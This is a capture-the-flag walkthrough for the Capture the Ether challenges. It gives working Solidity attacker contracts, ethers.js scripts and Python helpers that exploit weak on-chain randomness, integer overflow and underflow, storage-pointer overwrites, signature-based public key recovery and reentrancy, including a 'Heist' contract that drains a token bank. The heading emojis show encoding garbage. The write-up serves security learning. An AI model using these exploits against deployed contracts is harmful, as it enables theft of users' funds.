For most of these, I used Nader's excellent tutorial for a React + Ethers app and only provide the App.js contents:
The Complete Guide to Full Stack Ethereum Development
๐ Choose a Nickname
import './App.css';
import { useState } from 'react';
import { ethers } from 'ethers'
import CaptureTheEther from './artifacts/contracts/CaptureTheEther.sol/CaptureTheEther.json'
const abi = [
"function setNickname(bytes32 nickname)",
];
const challengeAddress = "..."
function App() {
const [nickname, setNicknameValue] = useState()
// request access to the user's MetaMask account
async function requestAccount() {
await window.ethereum.request({ method: 'eth_requestAccounts' });
}
// call the smart contract, send an update
async function setNickname() {
if (!nickname) return
if (typeof window.ethereum !== 'undefined') {
await requestAccount()
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = provider.getSigner()
const contract = new ethers.Contract(challengeAddress, abi, signer)
const nicknameAsBytes32 = ethers.utils.formatBytes32String(nickname);
console.log("Nickname is ", nickname, " and as bytes32: ", nicknameAsBytes32);
const transaction = await contract.setNickname(
nicknameAsBytes32,
{
gasLimit: 1500000
})
await transaction.wait()
}
}
return (
<div className="App">
<header className="App-header">
<button onClick={setNickname}>Set Nickname</button>
<input onChange={e => setNicknameValue(e.target.value)} placeholder="Set nickname" />
</header>
</div>
);
}
export default App;
โ๏ธ Guess the number
import './App.css';
import { useState } from 'react';
import { ethers } from 'ethers'
const abi = [
"function guess(uint8 n) public payable",
];
const challengeAddress = "..."
function App() {
// request access to the user's MetaMask account
async function requestAccount() {
await window.ethereum.request({ method: 'eth_requestAccounts' });
}
async function guess() {
if (typeof window.ethereum !== 'undefined') {
await requestAccount()
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = provider.getSigner()
const contract = new ethers.Contract(challengeAddress, abi, signer)
const transaction = await contract.guess(42,
{
gasLimit: 1500000,
value: ethers.utils.parseEther('1')
})
await transaction.wait()
}
}
return (
<div className="App">
<header className="App-header">
<button onClick={guess}>Guess 42</button>
</header>
</div>
);
}
export default App;
๐คซ Guess the secret number
I didn't save the Javascript for this one, but the key insight is that the answer is only a uint8
. So just do something like this:
for i in xrange(255):
if keccak256(i) == 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365:
print(i)
break
๐ฒ Guess the random number
Look up the contract address in etherscan and look at the state change during the contract creation. The expected answer is going to be there in plain sight.
๐โโ๏ธ Guess the new number
The number is now generated on demand, so we can't avoid writing some code. Just compute exactly the answer it expects and send it to the challenge contract, we don't even need to know what it is:// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface GuessTheNewNumberChallenge {
function guess(uint8 n) external payable;
}
contract Guesser {
constructor() payable {}
receive() payable external {}
function drain() public {
payable(msg.sender).transfer(address(this).balance);
}
function pullTheTrigger() public {
GuessTheNewNumberChallenge instance = GuessTheNewNumberChallenge(address(...));
uint8 answer = uint8(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))[31]);
instance.guess{value: 1 ether}(answer);
}
}
๐ฎ Predict the future
We can exploit the fact that there are only 10 possible answers, so we can choose anything we want. And to avoid wasting ether, we use require
to only send the transaction in a block that produces the right answer.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface GuessTheNewNumberChallenge {
function lockInGuess(uint8 n) external payable;
function settle() external;
}
contract Guesser {
GuessTheNewNumberChallenge instance = GuessTheNewNumberChallenge(address(...));
uint8 expectedAnswer = 2;
constructor() payable {}
receive() payable external {}
function drain() public {
payable(msg.sender).transfer(address(this).balance);
}
function lockInGuess() public {
instance.lockInGuess{value: 1 ether}(expectedAnswer);
}
function pullTheTrigger() public {
uint8 answer = uint8(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))[31]) % 10;
// going to keep hitting this until we find a happy block
require(answer == expectedAnswer);
instance.settle();
}
}
๐ณ Guess the block hash
Relevant Solidity docs:
blockhash(uint blockNumber) returns (bytes32)
: hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero
We can exploit that by guessing that the blockhash will become 0 in the future. Exactly 256 blocks in the future in fact ๐
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface GuessTheNewNumberChallenge {
function lockInGuess(bytes32 hash) external payable;
function settle() external;
}
contract Guesser {
GuessTheNewNumberChallenge instance = GuessTheNewNumberChallenge(address(...));
constructor() payable {}
receive() payable external {}
function drain() public {
payable(msg.sender).transfer(address(this).balance);
}
function lockInGuess() public {
instance.lockInGuess{value: 1 ether}(0);
}
function pullTheTrigger() public {
// wait for 256 blocks and then the blockhash of the settlement block will magically become 0 :)
instance.settle();
}
}
๐๏ธ Token sale
Ping me if you know an analytical solution. I wasn't sure so I went with this python program to find the smallest value that causes an overflow:def requiredValueWei(numTokens):
return (numTokens * 10**18) % 2**256
def causesOverflow(numTokens):
return requiredValueWei(numTokens) < numTokens * 10**18
def formattedHex(num):
return '0x' + hex(num)[2:].zfill(64)
def bisect(lower_bound, higher_bound):
print(f'looking for smallest overflow candidate in [{formattedHex(lower_bound)}..{formattedHex(higher_bound)}]')
candidate = (lower_bound + higher_bound) // 2
if candidate in [lower_bound, higher_bound]:
return higher_bound
else:
if causesOverflow(candidate):
return bisect(lower_bound, candidate)
else:
return bisect(candidate, higher_bound)
i = 0
while True:
numTokens = 2**i
print(f'trying {hex(numTokens)}')
if causesOverflow(numTokens):
break
i += 1
print('First power of 2 that causes an overflow:', i)
print(f'buying {numTokens} tokens would "only" require {requiredValueWei(numTokens)} wei')
numTokens = bisect(2**(i-1), 2**i)
print(f'buying {numTokens} tokens would "only" require {requiredValueWei(numTokens)} wei')
After that we can just:
instance.buy{value: 415992086870360064 wei}(0x0000000000000012725dd1d243aba0e75fe645cc4873f9e65afe688c928e1f22);
instance.sell(1);
๐ณ Token whale
Deploy this approver contract and call approveMe()
:
pragma solidity >=0.7.0 <0.9.0;
interface TokenWhale {
function approve(address spender, uint256 value) external;
}
contract Approver {
TokenWhale instance;
constructor(address theAddress) payable {
instance = TokenWhale(theAddress);
}
receive() payable external {}
function drain() public {
payable(msg.sender).transfer(address(this).balance);
}
function approveMe() public {
instance.approve(msg.sender, 1000000);
}
}
Then:
- transfer 1000 tokens to the Approver contract
- we now have a balance of 0, so call
transferFrom(Approver, Approver, 1)
- _transfer is dumb and will actually remove 1 token from
msg.sender
(aka us), underflowing us and giving us 0xffff..ffff tokens ๐
๐ด Retirement fund
Just force some eth into the contract with a self destruct contract as described in Mastering Ethereum.
๐บ๏ธ Mapping
Write a value at key 0, notice where the state was changed in etherscan.
In my case the value was written at address 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
so we compute the overflow key as:
key = int('0x' + 'ff' * 32, 16) - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
Just set that key to 1 and you've overridden the isComplete
boolean
๐ Donation
The Donation object is initially created as a storage pointer, so the value amount actually overwrites the owner field.
Just need to pass an appropriate amount of wei in order to become the owner (address / 10**36
).
๐ Fifty years
This one gave me a ton of grief ๐ It's easy to end up in a state where the contributions are so messed up that it becomes difficult or impossible to recover the funds.
Two key insights:
-
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
can be overflowed, so we can create a tx with a giantunlockTimestamp
and then the next (overflowed) one has anunlockTimestamp
in the past (so we can withdraw it and everything else before it) -
like in the previous challenge, new Contributions are initialized as a storage pointer, so they stomp the queue (with the amount of the contibution) and the head values (with the
unlockTimestamp
).
Step by step:
- upsert(1, N) 1 wei (should set length=2, head=N) (where N = 0xff..ff - 2 day + 1 = 115792089237316195423570985008687907853269984665640564039457584007913129467136)
- upsert(2, M) 2 wei (should set length=3, head=M) where M = 0xff..ff - 1 day + 1 = 115792089237316195423570985008687907853269984665640564039457584007913129553536
- upsert(3, 0) 2 wei (should set length=3 (wrong but ok), head=0)
- withdraw(2) -> should properly be able to grab everything from head=0 to length=3 and give us the money
๐ Fuzzy identity
Using the create2 opcode, we can control a bit more the address of the generated contracts, so given that this is the contract that we want to deploy:
contract MyNameIsSmarx {
function name() external pure returns (bytes32) {
return bytes32("smarx");
}
function pullTheTrigger() public {
FuzzyIdentityChallenge instance = FuzzyIdentityChallenge(address(...));
instance.authenticate();
}
}
Compile it and note its bytecode. Then deploy a deployer contract and note its address:
contract SmarxDeployer {
event FoundOne(address);
function deploySmarx(bytes memory code, uint256 salt) public returns(address) {
address addr;
assembly {
addr := create2(0, add(code, 0x20), mload(code), salt)
if iszero(extcodesize(addr)) {
revert(0, 0)
}
}
emit FoundOne(addr);
return addr;
}
}
Then we run create2.py:
python3 create2.py <deployer_addr> 'lambda addr: "badc0de" in addr.lower()' <mynameissmarx_bytecode>
until it finds a salt value that will generate a MyNameIsSmarx contract with an address that contains badc0de
.
๐ Public key
We got to get the r, s and v values from the signature of this transaction: https://ropsten.etherscan.io/tx/0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb
From r, s, and v we should be able to recover the public key of the account.
import './App.css';
import { useState } from 'react';
import { ethers } from 'ethers'
const abi = [
"function authenticate(bytes publicKey) public",
];
const challengeAddress = "..."
function App() {
async function requestAccount() {
await window.ethereum.request({ method: 'eth_requestAccounts' });
}
async function pullTheTrigger() {
if (typeof window.ethereum !== 'undefined') {
await requestAccount()
const provider = new ethers.providers.Web3Provider(window.ethereum);
const signer = provider.getSigner()
// from https://ropsten.etherscan.io/getRawTx?tx=0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb
const tx = ethers.utils.parseTransaction('0xf87080843b9aca0083015f90946b477781b0e68031109f21887e6b5afeaaeb002b808c5468616e6b732c206d616e2129a0a5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7a05710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962')
// code to recover the public key from https://ethereum.stackexchange.com/questions/78815/ethers-js-recover-public-key-from-contract-deployment-via-v-r-s-values
const expandedSig = {
r: tx.r,
s: tx.s,
v: tx.v
};
const signature = ethers.utils.joinSignature(expandedSig)
const txData = {
gasPrice: tx.gasPrice,
gasLimit: tx.gasLimit,
value: tx.value,
nonce: tx.nonce,
data: tx.data,
chainId: tx.chainId,
to: tx.to // you might need to include this if it's a regular tx and not simply a contract deployment
}
const rsTx = await ethers.utils.resolveProperties(txData)
const raw = ethers.utils.serializeTransaction(rsTx) // returns RLP encoded tx
const msgHash = ethers.utils.keccak256(raw) // as specified by ECDSA
const msgBytes = ethers.utils.arrayify(msgHash) // create binary hash
const recoveredPubKey = ethers.utils.recoverPublicKey(msgBytes, signature)
// recoveredPubKey is uncompressed, so starts with 0x04
const compressedPubKey = ethers.utils.arrayify(recoveredPubKey).slice(1)
const contract = new ethers.Contract(challengeAddress, abi, signer)
// we need to submit the compressedPubKey, otherwise the hash won't match on the smart contract side
await contract.authenticate(compressedPubKey, {gasLimit: 1500000})
}
}
return (
<div className="App">
<header className="App-header">
<button onClick={pullTheTrigger}>Pull the trigger</button>
</header>
</div>
);
}
export default App;
โณ Account takeover
Haven't figured out this one yet ๐
๐ง Assume ownership
Like in the Ethernaut challenge, what looks like a constructor is actually a public function, so just call it to become the owner.
๐ฆ Token Bank
- Withdraw the tokens from the bank
- Transfer them to the Heist contract
- the Heist contract deposits them to the bank
- the Heist contract withdraws them, but exploits re-entrancy in withdraw
contract Heist {
TokenBankChallenge bank = TokenBankChallenge(...);
SimpleERC223Token token = SimpleERC223Token(...);
bool firstTime = true;
function deposit() public {
token.transfer(bank, token.balanceOf(this));
}
function withdraw() public {
// we're going to reentrancy the heck out of this
bank.withdraw(500000 * 10**18);
}
function tokenFallback(address from, uint256 value, bytes) public {
if (from != address(bank)) {
return;
}
if (!firstTime) {
return;
}
firstTime = false;
withdraw();
}
function drain() public {
token.transfer(msg.sender, token.balanceOf(this));
}
}